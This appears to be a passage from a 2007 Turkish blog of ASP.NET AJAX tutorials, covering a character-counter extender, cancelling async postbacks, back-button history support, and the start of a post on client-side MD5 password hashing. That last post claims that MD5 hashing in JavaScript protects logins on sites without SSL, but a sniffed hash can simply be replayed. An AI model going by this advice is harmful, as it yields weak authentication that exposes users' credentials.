    SayacDugme.SayacDugmeBehavior.initializeBase(this, [element]);
    this._TargetButtonIDValue = null;
    this._MetinValue = null;
};

Gördüğünüz gibi TargetButtonID ve Metin Property'leri için birer JavaScript değişkeni tanımladık ve başlangıç için değerlerini null olarak verdik. Bir sonraki adımda bu değişkenlerin get ve set metodlarını yazıyor olacağız.

    get_TargetButtonID : function() {
        return this._TargetButtonIDValue;
    },
    set_TargetButtonID : function(value) {
        this._TargetButtonIDValue = value;
    },
    get_Metin : function() {
        return this._MetinValue;
    },
    set_Metin : function(value) {
        this._MetinValue = value;
    }

Yukarıdaki tüm JavaScript fonksiyonlarını SayacDugmeBehavior'ın prototype'ına tanımlıyoruz. Sıra geldi metin kutusuna yazı yazıldıkça düğmenin üzerine gerekli metni yazacak JavaScript fonksiyonunu yazmaya.

         _onkeyup : function() {
               var harf_sayisi = this.get_element().value.length;
               var dugme = $get(this._TargetButtonIDValue);
               dugme.value = this._MetinValue + '(' + harf_sayisi + ')';
         },

Gördüğünüz gibi prototip tanımlamasına eklediğimiz bu fonksiyon ile ilk olarak harf sayisini bir değişkene alıyoruz. this.get_element() metodu bize extender kontrolümüzün TargetControlID'sine verilmiş kontrolünü getirecek. Extender kontrolüne bağlanan düğmeyi de JavaScript ile yakalayabilmek için kontrolümüze aktarılan ID bilgisi üzerinden yola çıkarak $get metodunu kullanıyoruz. Son olarak düğmenin üzerine yazılacak yazıyı oluştururken de extender kontrolümüze verilmiş Metin yazısı ile toplam harf sayısını uygun şekilde birleştiriyoruz.

Fonksiyonumuzu tamamladık, fakat hala bize verilen metin kutusunun keyup özelliğine bağlanmadı. Sayfa ilk yüklendiğinde extender kontrolüne ait initialize metodu çalıştırılır. Bizim de söz konusu anda gerekli durum bağlantılarını yapmamız gerekiyor.

    initialize : function() {
        SayacDugme.SayacDugmeBehavior.callBaseMethod(this, 'initialize');
        $addHandler(this.get_element(), 'keyup',
        Function.createDelegate(this, this._onkeyup));
             this._onkeyup();
    },

ASP.NET AJAX istemci kütüphanesinden $addHandler metodunu kullanarak extender kontrolümüze atanmış metin kutusunun keyup durumuna elimizdeki fonksiyonu bağlıyoruz. Son satırda da söz konusu fonksiyonu bir defalığına çalıştırıyoruz, böylece sayfa ilk yüklendiğinde düğme üzerinde sayaç sıfırı gösteriyor olacak. Kodumuz sonlandığına göre tüm JavaScript dosyamızın yapısını aşağıda inceleyebilirsiniz.

Type.registerNamespace('SayacDugme');
 
SayacDugme.SayacDugmeBehavior = function(element) {
    SayacDugme.SayacDugmeBehavior.initializeBase(this, [element]);
    this._TargetButtonIDValue = null;
    this._MetinValue = null;
};
 
SayacDugme.SayacDugmeBehavior.prototype = {
         _onkeyup : function() {
               var harf_sayisi = this.get_element().value.length;
               var dugme = $get(this._TargetButtonIDValue);
               dugme.value = this._MetinValue + '(' + harf_sayisi + ')';
         },
    initialize : function() {
        SayacDugme.SayacDugmeBehavior.callBaseMethod(this, 'initialize');
        $addHandler(this.get_element(), 'keyup',
        Function.createDelegate(this, this._onkeyup));
             this._onkeyup();
    },
    dispose : function() {
        SayacDugme.SayacDugmeBehavior.callBaseMethod(this, 'dispose');
    },
 
    get_TargetButtonID : function() {
        return this._TargetButtonIDValue;
    },
    set_TargetButtonID : function(value) {
        this._TargetButtonIDValue = value;
    },
    get_Metin : function() {
        return this._MetinValue;
    },
    set_Metin : function(value) {
        this._MetinValue = value;
    }
};
 
SayacDugme.SayacDugmeBehavior.registerClass('SayacDugme.SayacDugmeBehavior', AjaxControlToolkit.BehaviorBase);

Tüm bu işlemleri tamamladıktan sonra projenizi Build ederek oluşacak SayacDugme.dll dosyasını araç çubuğunuza ekleyebilir ve tüm projelerinizde hazırladığımız Extender kontrolünü kullanabilirsiniz. Fakat unutmamakta fayda var; Extender kontrolümüz bir AJAX Control Toolkit Extender'ı olduğu için eklendiği her projeye AJAX Control Toolkit'e ait DLL dosyasını da ekleyecektir. Bilgi olarak aklımızda olmasında fayda var. Kontrolümüzü kullandığımız bir web sayfasının HTML kodu aşağıdaki şekilde sonuçlanıyor.

SayacDugme Extender kontrolümüz iş başında.
SayacDugme Extender kontrolümüz iş başında.

<%@ Page Language="VB" AutoEventWireup="true" CodeFile="Default.aspx.vb" Inherits="_Default" %>

<%@ Register Assembly="SayacDugme" Namespace="SayacDugme.SayacDugme" TagPrefix="Daron" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>Untitled Page</title>
</head>
<body>
    <form id="form1" runat="server">
        <ajaxToolkit:ToolkitScriptManager ID="ScriptManager1" runat="server" />
        <div>
          <asp:TextBox ID="TextBox1" runat="server"></asp:TextBox><asp:Button ID="Button1"
            runat="server" Text="Button" />
            <Daron:SayacDugmeExtender ID="SayacDugmeExtender1" runat="server"
                                      TargetControlID="TextBox1"
                                      TargetButtonID="Button1"
                                      Metin="TIKLA">
            </Daron:SayacDugmeExtender>
        </div>
     
    </form>
</body>
</html>

Hepinize kolay gelsin.

Sayaç Düğme Extender kontrolü projesine ait kodlar - 31082007_1.zip (521,41 KB)

Friday, August 31, 2007 12:43:42 AM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX  | 
 Monday, August 27, 2007

ASP.NET AJAX eğitimlerim devam ediyor. 29 Ağustos tarihinde başlayacak olan sınıfımız için acil kayıtlarınızı MayaSoft Bilişim Akademisi'ne yaptırabilirsiniz. Eğitim toplam 4 gün 24 saat sürecek. 29-30-31 Ağustos ve 3 Eylül günlerinden sabah 09.30 ile öğlen 16.30 saatleri arasında sıkı bir maraton içerisinde olacağız.

Eğitim detaylarına ve konu başlıklarına aşağıdaki link üzerinden bakabilirsiniz. Linkteki tarihler sizi yanıltmasın, tarihler benim burada belirttiğim gibi. Eğitimle beraber benim ASP.NET AJAX kitabım da veriliyor olacak.

http://www.mayasoft.com.tr/bulten/ajax/mayasoft.htm

Monday, August 27, 2007 5:40:02 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | Eğitimler  | 
 Sunday, August 26, 2007

Farklı web sitelerinde AJAX ile sunucudan istemciye veri yükleme teknikleri kullanmak performans açısından ciddi faydalar sağlarken bazen kontrolün elden çıkmasına da neden olabiliyor. Herhangi bir AJAX yüklemesi, yani XMLHttpRequest gerçekleşirken sunucu ile istemci arasında bir trafik sorunu oluştuğunda sitemizin ziyaretçisi çaresizce AJAX yüklemesinin bitmesini bekliyor. Oysa o yükleme hiç bitmeyecek. Bir diğer senaryoda ise gerçekten sayfaya uzun sürecek bir bilgi yükleniyor olabilir, bu durumda da aslında ziyaretçimize gerektiğinde bu yüklemeyi iptal etme şansı tanıyabiliriz. İşte tüm bu işlemleri istemci tarafında direk JavaScript kodları yazarak nasıl yapabileceğimizi makalemiz boyunca inceliyor olacağız.

Gelin ilk olarak kullanacağımız örneğimizin sayfa tasarımını, mark-up HTML kodunu oluşturalım.

            <asp:UpdatePanel ID="UpdatePanel1" runat="server">
                <ContentTemplate>
                    <asp:Label ID="Label1" runat="server"></asp:Label><br />
                    <asp:Button ID="Button1" runat="server" Text ="Yükle" OnClick="button1_Click" />
                    <asp:Button ID="Button2" style="visibility:hidden;"
                            runat="server" Text="İptal" />
                </ContentTemplate>
            </asp:UpdatePanel>

Sayfamıza yerleştirdiğimiz UpdatePanel içerisinde toplam iki adet düğme bulunuyor. Bu düğmelerden ilkini yükleme işlemini başlatmak için, ikincisini ise iptal etmek için kullanacağız. İptal etmek için kullanacağımız Button2 düğmesinin ilk başta görünmez olması için CSS özelliği olarak visibility değerini hidden şeklinde düzenliyoruz. İleriki kodlarımızda herhangi bir yükleme başladığında iptal düğmesini görünür hale getireceğiz. Düğmelerimizin yanı sıra sayfaya bir de Label1 adında etiket ekledik, bu etiket üzerine farklı mesajlar yazdırıyor olacağız.

Partial Class _Default
    Inherits System.Web.UI.Page
 
    Protected Sub button1_Click(ByVal sender As Object, ByVal e As System.EventArgs)
        System.Threading.Thread.Sleep(3000)
        label1.Text = Date.Now.ToLongTimeString
    End Sub
End Class

Sayfamızın Code-Behind kısmında sadece yukarıdaki kodu kullanacağız. Button1, yani yükleme işlemini yapacak olan düğmemize tıklandığında ilk olarak 3 saniye süreyle mevcut Thread'i uykuya alıyoruz. Böylece örneğimizi denediğimizde AJAX yüklemesi üç saniye sürecek. Tabi siz bu kodu gerçek projelerinizde kullanmamalısınız. Bizim örneğimizde gerçek bir yükleme söz konusu olmadığı için kodumuzu simülasyon amacıyla düzenledik. Yükleme işleminin sonunda Label1 içerisine mevcut saat bilgisini yazdırıyoruz.

AJAX sunucu kontrolleri kullanılacak her sayfada bir ScriptManager bulunması gerektiğine dair kuralı hepimiz biliyoruz. Bunun nedeni sayfa içerisindeki tüm AJAX işlemlerinden ScriptManager'ın sorumlu olması ve tüm işlemlerin ScriptManager'ın kontrolünde ilerliyor olması. Bu durumda biz de işlemlerin iptali gibi konularda ScriptManager ile çalışmak durumundayız. Buradan itibaren yazacağımız tüm kodlar JavaScript kodları olacak, fakat her zamanki gibi kodlarımızı sayfanın Header (Baş) kısmına yazma şansımız yok. Yazacağımız tüm JavaScript kodları ScriptManager ile gelen JavaScript özelliklerini kullanacağı için sayfada da ScriptManager'dan sonra yer almaları gerekiyor. Kabaca yapımız aşağıdaki şekilde olacak.

<form id="form1" runat="server">
        <asp:ScriptManager ID="ScriptManager1" runat="server" />
        <script type="text/javascript" language="javascript">
        //JavaScript kodlarımız buraya
        </script>
        <div>
            <asp:UpdatePanel ID="UpdatePanel1" runat="server">
                <ContentTemplate>
                    <asp:Label ID="Label1" runat="server"></asp:Label><br />
                    <asp:Button ID="Button1" runat="server" Text ="Yükle" OnClick="button1_Click" />
                    <asp:Button ID="Button2" style="visibility:hidden;"
                            runat="server" Text="İptal" />
                </ContentTemplate>
            </asp:UpdatePanel>
        </div>
    </form>

Gelelim yazacağımız JavaScript kodlarına ve anlamlarına. İlk olarak sayfamızdaki ScriptManager'a gelen her AJAX isteğini kontrol altına almak için bir handler eklememiz gerekiyor.

Sys.WebForms.PageRequestManager.getInstance().add_initializeRequest(DurumKontrol);

Yukarıdaki kod içerisinde sayfadaki ScriptManager yani PageRequestManager'a ait mevcut kopyayı (Instance) alıyoruz ve .add_initializeRequest metodu ile sayfada gerçekleşecek her bir AJAX talebinde çalıştırılmak üzere kendi hazırladığımız bir fonksiyonu atıyoruz. Fonksiyonumuzun adı DurumKontrol olacak ve aşağıdaki şekilde oluşturuyor olacağız.

        function DurumKontrol(sender, args)
        {
            var prm = Sys.WebForms.PageRequestManager.getInstance();
            if (args.get_postBackElement().id == 'Button2' & prm.get_isInAsyncPostBack())
                {
                    prm.abortPostBack();
                }
            else if (prm.get_isInAsyncPostBack() & args.get_postBackElement().id == 'Button1')
                {
                    args.set_cancel(true);
                    $get("Label1").innerHTML = "Yükleme devam ediyor...";
                }
            else if (!prm.get_isInAsyncPostBack() & args.get_postBackElement().id == 'Button1')
                {
                    $get("Label1").innerHTML = "Yükleniyor...";
                    $get("Button2").style.visibility = "visible";
                }
        }

Gelin şimdi bu fonksiyon içerisinde neler yaptığımıza tek tek bakalım. İlk olarak yine fonksiyon içerisinde kullanmak üzere prm adında bir değişken tanımlayarak sayfada kullanılan mevcut ScriptManager'a ait PageRequestManager objesinin bir kopyasını, vekilini alıyoruz.

            if (args.get_postBackElement().id == 'Button2' & prm.get_isInAsyncPostBack())
                {
                    prm.abortPostBack();
                }

Yukarıda inceleyebileceğimiz bir sonraki adımda kontrol ettiğimiz iki durum söz konusu. Bunlardan ilki; DurumKontrol fonksiyonumuzun çalışmasına neden olan kaynak AJAX talebinin sayfadaki hangi kontrolden geliyor olduğu. args.get_postBackElement().id komutu ile kaynak kontrolün ID bilgisini alabiliyoruz. Eğer kaynak element Button2 ise, yani İptal düğmesine basılmış ise ve hali hazırda süregelen bir AJAX asenkron veri aktarımı varsa hemen var olan aktarımı iptal etmemiz gerekiyor. prm.get_isInAsyncPostBack() komutu ile hali hazırda süregelen bir AJAX asenkron yüklemesi olup olmadığı öğrenebiliriz. Her iki durum da olumlu ise prm.abortPostBack(); komutu ile süregelen, yani aslında bir önceki yüklemeyi iptal ediyoruz.

            else if (prm.get_isInAsyncPostBack() & args.get_postBackElement().id == 'Button1')
                {
                    args.set_cancel(true);
                    $get("Label1").innerHTML = "Yükleme devam ediyor...";
                }

Bir sonraki adımda ek bir kontrol daha yapacağız. Eğer bir yükleme yapılıyorsa ve kullanıcı hala Yükle düğmesine tıklıyorsa, bu sefer de "Yükleme devam ediyor..." şeklinde bir uyarı göstererek yeni bir yükleme başlatmamamızda fayda var. Bu mekanizmayı kurmak için de ilk olarak süregelen bir yükleme var mı diye prm.get_isInAsyncPostBack() komutu ile kontrol ediyor ve eğer yeni elimize ulaşan yükleme talebini de Button1 oluşturmuş ise args.set_cancel(true) komutu ile yeni gelen talebi geçersiz kılıyor, geri çeviriyoruz. Son olarak sayfamızdaki Label1 içerisine uygun bir mesaj aktarıyoruz.

            else if (!prm.get_isInAsyncPostBack() & args.get_postBackElement().id == 'Button1')
                {
                    $get("Label1").innerHTML = "Yükleniyor...";
                    $get("Button2").style.visibility = "visible";
                }

Yapacağımız son kontrol aslında bir denetleme değil. Hatırlarsanız örneğimizin başında tasarımımızı yaparken İptal düğmesini sayfada görünmeyecek şekilde ayarlamıştık. Şimdi sıra geldi yeni bir yükleme başladığınıda hemen İptal düğmemizi görünür hale getirmeye. Eğer süregelen bir yükleme yoksa ve yeni bir yükleme işlemi Button1 aracılığı ile başlatılmış ise Label1 içerisine "Yükleniyor.." yazıyoruz ve Button2'nin visibility özelliğini visible olarak değiştiriyoruz.

Sayfamızın tam kodunu aşağıdaki inceleyebilirsiniz.

<%@ Page Language="VB" AutoEventWireup="true" CodeFile="Default.aspx.vb" Inherits="_Default" %>
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>Untitled Page</title>
</head>
<body>
    <form id="form1" runat="server">
        <asp:ScriptManager ID="ScriptManager1" runat="server" />
        <script type="text/javascript" language="javascript">
        Sys.WebForms.PageRequestManager.getInstance().add_initializeRequest(DurumKontrol);
       
        function DurumKontrol(sender, args)
        {
            var prm = Sys.WebForms.PageRequestManager.getInstance();
            if (args.get_postBackElement().id == 'Button2' & prm.get_isInAsyncPostBack())
                {
                    prm.abortPostBack();
                }
            else if (prm.get_isInAsyncPostBack() & args.get_postBackElement().id == 'Button1')
                {
                    args.set_cancel(true);
                    $get("Label1").innerHTML = "Yükleme devam ediyor...";
                }
            else if (!prm.get_isInAsyncPostBack() & args.get_postBackElement().id == 'Button1')
                {
                    $get("Label1").innerHTML = "Yükleniyor...";
                    $get("Button2").style.visibility = "visible";
                }
        }
        </script>
        <div>
            <asp:UpdatePanel ID="UpdatePanel1" runat="server">
                <ContentTemplate>
                    <asp:Label ID="Label1" runat="server"></asp:Label><br />
                    <asp:Button ID="Button1" runat="server" Text ="Yükle" OnClick="button1_Click" />
                    <asp:Button ID="Button2" style="visibility:hidden;"
                            runat="server" Text="İptal" />
                </ContentTemplate>
            </asp:UpdatePanel>
        </div>
    </form>
</body>
</html>

Sonuç olarak yukarıdaki teknikler ile sayfa içerisindeki tüm AJAX veri transferi işlemlerine çok daha hakim bir yaklaşım ile çok daha kullanıcı dostu bir web platformu oluşturarak web sitelerimizin ziyaretçilerini biraz daha rahatlatabiliriz.

Hepinize kolay gelsin.

Sunday, August 26, 2007 7:03:36 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | ASP.NET  | 
 Saturday, August 25, 2007

İnternet tarayıcılarındaki Geri ve İleri düğmelerinin ne kadar çok kişi tarafından kullanıldığını ilk AJAX web projelerinin kullanıcılarına teslim edilmesi ile anladım. Neredeyse herkes bu düğmelerin çalışmamasından şikayetçiyi (Haklılardı). AJAX altyapısı üzerine kurduğumuz web sitelerinde performansı arttırmak amacıyla olabildiğince işlemleri AJAX tekniği ile yapmaya çalışıyoruz. Bu durumun iki sakıncası var; birincisi web sitesi içerisindeki farklı konumlar için farklı adresler oluşmuyor. Kullanıcı web sitemizde onlarca düğmeye tıklayarak iç kısımlarda biryerlere ulaşmış olabiliyor fakat sayfa hiç yenilenmediği için ulaştığı noktanın bir adresi (URL) olmuyor. İkinci sakıncası ise makalemin ana nedeni olan ve bir önceki nedenden kaynaklanan, tarayıcılardaki Geri ve İleri düğmelerinin çalışmaması. Sayfanın adresi değişmediği için hiçbir internet tarayıcı sayfanın içerisindeki değişiklikleri adres geçmişine eklemiyor ve bu nedenle geriye veya ileriye gidiş de mümkün olmuyor.

Peki ne yapabiliriz? İlk aşamada sayfanın adresini değiştirmek için sayfa içi çapalar (linkler) kullanabiliriz. Bu tarz linkleri aşağıdaki şekilde tanımlayabilirsiniz. Normal adresin sonuna bir # işareti ile eklenirler ve adresein bu kısmının değişmesi için sayfanın yenilenmesi gerekmez.

http://www.biradres.com/birdosya.aspx?ID=2#Capa

Güzel bir taktik olduğu kesin fakat maalesef yukarıdaki şekliyle yaratılan adresler Internet Explorer içerisinde sayfa geçmişine eklenmeyebiliyor (IE sürümüne bağlı). Bizim tüm tarayıcılarla uyumlu olmamız şart. Bu durumda Internet Explorer için farklı bir teknik kullanmamız gerekecek. Sayfanın içerisine gizli bir IFRAME (Satır içi çerçeve) ekleyerek IFRAME içerisindeki dosyanın adresini değiştirebiliriz. Bu durum Internet Explorer'da adres geçmişine yeni bir sayfay eklemek için yeterli olacaktır. Tek yapmamız gereken sayfamızı yenileyen AJAX komutlarının başına IFRAME adresini de değiştiren bir kod eklemek. Peki Geri veya İleri düğmelerine basıldığını nasıl anlayacağız? IFRAME içerisinde kullanacağımız adres gerçek bir sayfaya yönlenecek ve eğer tarayıcıdaki düğmeler ile bu sayfa değişmişse bir üst seviyedeki ana sayfaya JavaScript ile bir parametre gönderecek. Böylece ana sayfa AJAX teknikleri ile kendini eski haline çevirecek.

Merak etmeyin, biz bunları tek tek yapmayacağız. Onun yerine bu konuda işimizi çok kolaylaştıracak bir sunucu kontrolü kullanacağız. Bahsettiğim kontrolün adı UpdateHistory. Aşağıdaki adresten kontrol paketini indirebilirsiniz. Paket içerisinde yer alan nStuff.UpdateControls.dll dosyasını Toolbox içerisine ekleyerek projenizdeki herhangi bir sayfaya sürükle&bırak tekniği ile kontrolü ekleyebilirsiniz.

http://www.nikhilk.net/Content/Samples/UpdateControls.zip

Kontrolü sayfaya eklediğinizde aşağıdaki şekilde gözükecektir. Kontrol üzerinde yapmamız gereken hiçbir ayar yok.

<nStuff:UpdateHistory ID="UpdateHistory1" runat="server">
</nStuff:UpdateHistory>

Sayfa içerisinde ayrıca deneme amaçlı olarak bir UpdatePanel bulunduralım. UpdatePanel içerisine bir düğme ve bir de Label yerleştirelim. Düğmeye her tıklandığında Label içerisindeki sayısal değeri alıp üzerine bir ekleyip geri döndürsün. Böylece sürekli içeriği değişen bir UpdatePanel sahibi olmuş oluruz.

<asp:UpdatePanel ID="UpdatePanel1" runat="server">
  <ContentTemplate>
    <asp:Label ID="etiket" runat="server">0</asp:Label>
    <asp:Button ID="dugme" runat="server" OnClick="dugme_Click" Text="TIKLA" />
  </ContentTemplate>
</asp:UpdatePanel>

Yukarıdaki kod içerisinde düğmeye tıklandığında etiket adındaki Label içerisindeki değeri alarak bir arttıracağımızdan bahsetmiştik. Arttırma işlemini yaparken aslında sayfanın içeriği değiştiği için gerekli kaydın tarayıcıya ait sayfa geçmişi listesine de eklenmesini istiyoruz. Böylece İleri ve Geri düğmeleri ile site içerisinde gezebileceğiz. Bunun için aşağıdaki kodu yazıyor olacağız.

    Protected Sub dugme_Click(ByVal sender As Object, ByVal e As System.EventArgs)
        etiket.Text = CInt(etiket.Text) + 1
        UpdateHistory1.AddEntry(CInt(etiket.Text))
    End Sub

Yukarıdaki kodun ilk satırı bize yabancı değil. İkinci satıra baktığımızda ise UpdateHistory kontrolüne ait AddEntry metodunu kullandığımızı görüyoruz. Bu metoda vermiş olduğumuz tek parametre olan metin değeri sayfanın adresine, # işaretinden sonrasına ekleyecek. Tarayıcıda ileri veya geri düğmelerine basıldığında bizim sayfayı tekrar eski haline göre düzenlememiz için geriye yine bu veri döndürülecek. Veritabanına bağlı gerçek bir örnekte sayfada gösterilen veriyi bir veritabanı tablosundan Birincil Anahtar (Primary Key) değerini sorguyla göndererek aldığınızı düşünelim. Bu durumda AddEntry komutu ile adrese ekleyeceğimiz veri Primay Key'in ta kendisi olmalıdır. Böylece bir sonraki adımda göreceğimiz üzere sayfa kullanıcı tarafından ileri ve geri düğmeleri ile değiştirildiğinde adresin # işaretinden sonraki kısmına bakarak sayfaya kolaylıkla veri yerleştirebiliriz.

Son olarak gelelim kullanıcının ileri ve geri düğmelerini kullandığında sayfanın nasıl eski haline dönüştürüleceğine. Bu işlemi yapmak için UpdateHistory kontrolüne ait Navigate metodunu kullanacağız. Söz konusu metod bize hedef sayfanın EntryName değerini döndürüyor olacak.

Protected Sub UpdateHistory1_Navigate(ByVal sender As Object, ByVal e As nStuff.UpdateControls.HistoryEventArgs) Handles UpdateHistory1.Navigate
   If String.IsNullOrEmpty(e.EntryName) = False Then
      etiket.Text = e.EntryName
   Else
      etiket.Text = "0"
   End If
End Sub

Kodumuz içerisinde ilk olarak gelen parametrenin boş olup olmadığını kontrol ediyoruz. Eğer sayfa ilk defa açılıyorsa söz konusu parametre boş olacaktır. Bu durumda etiket adındaki Label içerisine 0 yazmamız yeterli. Eğer UpdateHistory tarafından bize döndürülen EntryName boş değilse kullanıcı bir şekilde Geri veya İleri düğmelerini kullanmış demektir. Kullanıcının hangi sayfaya gitmek istediğini EntryName değişkeni ile anlıyorum. Benim örneğimde bu veriyi direk etiket içerisine yazdırıyorum. Veritabanına bağlı gerçek bir örnekte siz geri dönen Primary Key verinize göre veritabanından gerekli içeriği çekerek sayfaya yerleştirebilirsiniz.

Son olarak projemin doğru çalışıp çalışmadığını kontrol etmek için UpdatePanel dışına da bir Label yerleştirerek sayfa açılışında mevcut saat bilgisini yazdırdım. Böylece sadece UpdatePanel içeriği mi yenileniyor yoksa tüm sayfa mı yenileniyor anlayabileceğim.

Son hali ile sayfanın HTML kodu aşağıdaki şekilde;

<%@ Page Language="VB" AutoEventWireup="true" CodeFile="Default.aspx.vb" Inherits="_Default" %>
<%@ Register Assembly="nStuff.UpdateControls" Namespace="nStuff.UpdateControls" TagPrefix="nStuff" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>Untitled Page</title>
</head>
<body>
    <form id="form1" runat="server">
        <ajaxToolkit:ToolkitScriptManager ID="ScriptManager1" runat="server" />
        <div>
            <nStuff:UpdateHistory ID="UpdateHistory1" runat="server">
            </nStuff:UpdateHistory>
            <asp:UpdatePanel ID="UpdatePanel1" runat="server">
                <ContentTemplate>
                    <asp:Label ID="etiket" runat="server">0</asp:Label>
                    <asp:Button ID="dugme" runat="server" OnClick="dugme_Click" Text="TIKLA" />
                </ContentTemplate>
            </asp:UpdatePanel>
            <asp:Label ID="Label1" runat="server" Text="Label"></asp:Label></div>
    </form>
</body>
</html>

Sayfamızın Code-Behind kısmı da aşağıdaki gibi sonlandı.

Partial Class _Default
    Inherits System.Web.UI.Page
 
    Protected Sub dugme_Click(ByVal sender As Object, ByVal e As System.EventArgs)
        etiket.Text = CInt(etiket.Text) + 1
        UpdateHistory1.AddEntry(CInt(etiket.Text))
    End Sub
 
    Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
        Label1.Text = Date.Now.ToLongTimeString
    End Sub
 
    Protected Sub UpdateHistory1_Navigate(ByVal sender As Object, ByVal e As nStuff.UpdateControls.HistoryEventArgs) Handles UpdateHistory1.Navigate
        If String.IsNullOrEmpty(e.EntryName) = False Then
            etiket.Text = e.EntryName
        Else
            etiket.Text = "0"
        End If
    End Sub
End Class

Çözümümüz ile aslında sadece Geri ve İleri tuşları ile ilgili sorunu çözmedik. Ayrıca AJAX uygulamalarında her sayfanın ayrı adreslerinin olmaması sorununu da çözdük. Kopyala - Yapıştır tekniği ile adresler # işaretinden sonraki kısımları ile beraber taşındıklarında başka bir tarayıcıda denenmeleri durumda sayfa doğru konumda açılacaktır.

Hepinize kolay gelsin.

Saturday, August 25, 2007 12:33:13 AM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | ASP.NET  | 
 Thursday, August 23, 2007

Uzun süredir görsel dersler hazırlamayı düşünüyordum. Esas sorun bu dersleri nasıl blog üzerinden paylaşacağımdı. Terzi kendi söküğünü dikemez konseptine uygun olarak bu konuda blogum için özel bir sayfa programlama şansım maalesef olmadı. Diğer seçenekler arasından ilki MSN SoapBox sitesini kullanmaktı, ikincisi ise nedirtv.com üzerinden görsel dersleri paylaşmaktı.

Blog sitesini de sürekli takip ettiğim Mehmet Nuri Çankaya'nın tavsiyesi ile nedirtv?com ekibi ile iletişime geçtim. nedirtv?com topluluk lideri Uğur Umutluoğlu'nun sıcak ve samimi yaklaşımı ile kararımı vermem pek de zor olmadı ve ilk iki görsel derim nedirtv?com üzerinde yayına girdi. Aşağıdaki adreslerden dersleri izleyebilirsiniz. nedirtv?com'a gönderdiğim videolardan blog üzerinden de haberdar olabileceksiniz, sürekli yazıyor olacağım.

AJAX Control Toolkit Animation Extender

AJAX Control Toolkit Yüklemesi ve Web Sitelerinde Kullanimi

Thursday, August 23, 2007 9:16:24 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX | ASP.NET | Görsel Ders  | 
 Wednesday, August 22, 2007

Herhangi bir web sitesi ile kullanıcı (istemci) arasındaki web trafiği normal şartlarda şifrelenmemiş (enkript edilmemiş) olarak aktarılır. Bu durum esasen ciddi bir güvenlik açığı olabilir. İstemci bilgisayar ile sunucu arasındaki ağ trafiğini yakalayabilen biri bu trafik üzerinden geçen veriyi ele geçirerek kötü amaçlarla kullanabilir. Bu açığı engellemek amacıyla özellikle E-Ticaret sitelerinde SSL uygulaması yapılır. https ile başlayan adreslerinden tanıyabileceğimiz bu web sitelerinde istemci ile sunucu arasındaki trafik enkript edilir. Böylece ağ trafiğinin yakalanması halinde bile herhangi bir şekilde söz konusu veri kullanılamayacaktır.

Peki SSL kullanılamayacak, ufak bütçeli projelerde en azından önemli verileri kullanıcıdan (istemci) alırken enkript etme şansımız yok mu? Varsayalım web sitemizin bir kullanıcı giriş sayfası var ve kullanıcımız birer TextBox kontrolüne kullanıcı adını ve şifresini yazıyor. Bir sniffer yazılımı kullanarak ağ trafiğini yakaladığımızda aşağıdaki şekilde şifreyi ele geçirebiliyoruz.

{"Sifre":"GizliSifrem"}

Oysa bu şifreyi istemci tarafında JavaScript kütüphaneleri ile anında MD5 algoritması ile enkript ederek sunucu tarafına gönderme şansımız var. Böyle bir durumda sniffer yazılımı kullandığımızda karşımıza çıkan sonuç aşağıdaki gibi.

{"Sifre":" afb5bcf186d39b00d94917df57b9c593 "}

Şimdi gelin bu işi nasıl yapacağımıza yakından bir göz atalım. İlk olarak Paul Johnston tarafından hazırlanmış olan MD5 JavaScript kütüphanesini aşağıdaki adresten bilgisayarımıza indirelim.

http://pajhome.org.uk/crypt/md5/

Örneğimizde bir ASP.NET AJAX projesi üzerinden çalışacağımız için bilgisayarımıza indirdiğimiz JavaScript dosyamızı web sayfamızdaki ScriptManager’a ScriptReference olarak tanımlayacağız. Böylece JavaScript dosyası sayfamıza linklenmiş olacak.

      <asp:ScriptManager EnablePageMethods="true" ID="ScriptManager1" runat="server">
        <Scripts>
          <asp:ScriptReference Path="md5.js" />
        </Scripts>
      </asp:ScriptManager>

Kütüphane içerisindeki hex_md5(); metodunu kullanıyor olacağız. Söz konusu metod String tipinde bir parametre alarak geriye şifrelenmiş Hex-String döndürüyor. Örneğimizde şifre kontrol işlemi için bir ASP.NET AJAX PageMethod kullanacağız. Sayfaya giriş için kullanacağımız Giriş düğmesi ve Şifre, Kullanıcı adı TextBox'ları bir UpdatePanel içerisinde yer alacak.

      <script language="javascript" type="text/javascript">
      function KontrolEt()
      {
        // Sayfada Sifre TextBox'ına girilmiş şifreyi alıyoruz.
        var Pass = $get("Sifre").value;
        // Şifreyi şifreliyoruz.
        var MD5 = hex_md5(Pass);
        // GirisKontrol PageMethod'unu çalıştırarak kullanıcıyı kontrol ediyoruz.
        PageMethods.GirisKontrolu(MD5, Oldu);
      }
      function Oldu(Sonuc)
      {
        // PageMethod tarafından döndürülen Evet/Hayır sonucunu mesaj kutusu ile gösteriyoruz.
        alert(Sonuc);
      }
      </script>
      <asp:UpdatePanel ID="UpdatePanel1" runat="server">
        <ContentTemplate>
         <asp:TextBox ID="Adi" runat="server"></asp:TextBox>
         <asp:TextBox ID="Sifre" runat="server"></asp:TextBox>
         <input id="Giris" type="button" value="Giris" onclick="KontrolEt();" />
        </ContentTemplate>
      </asp:UpdatePanel>

Sunucu tarafına baktığımızda ise elimizdeki gerçek şifreyi istemciden gelen enkript edilmiş şifre ile karşılaştırmak üzere enkript ediyor olacağız. Biz örneğimizde gerçek şifreyi veritabanından vs çekmeyeceğiz. Onun yerine ben GerçekŞifrem metnini şifre olarak kullanacağım. Siz projelerinizde bu metni kullandığınız veritabanlarına bağlayabilirsiniz. Aşağıda sunucu taraflı yazmış olduğumuz AJAX PageMethod kodu yer alıyor.

<System.Web.Services.WebMethod()> _
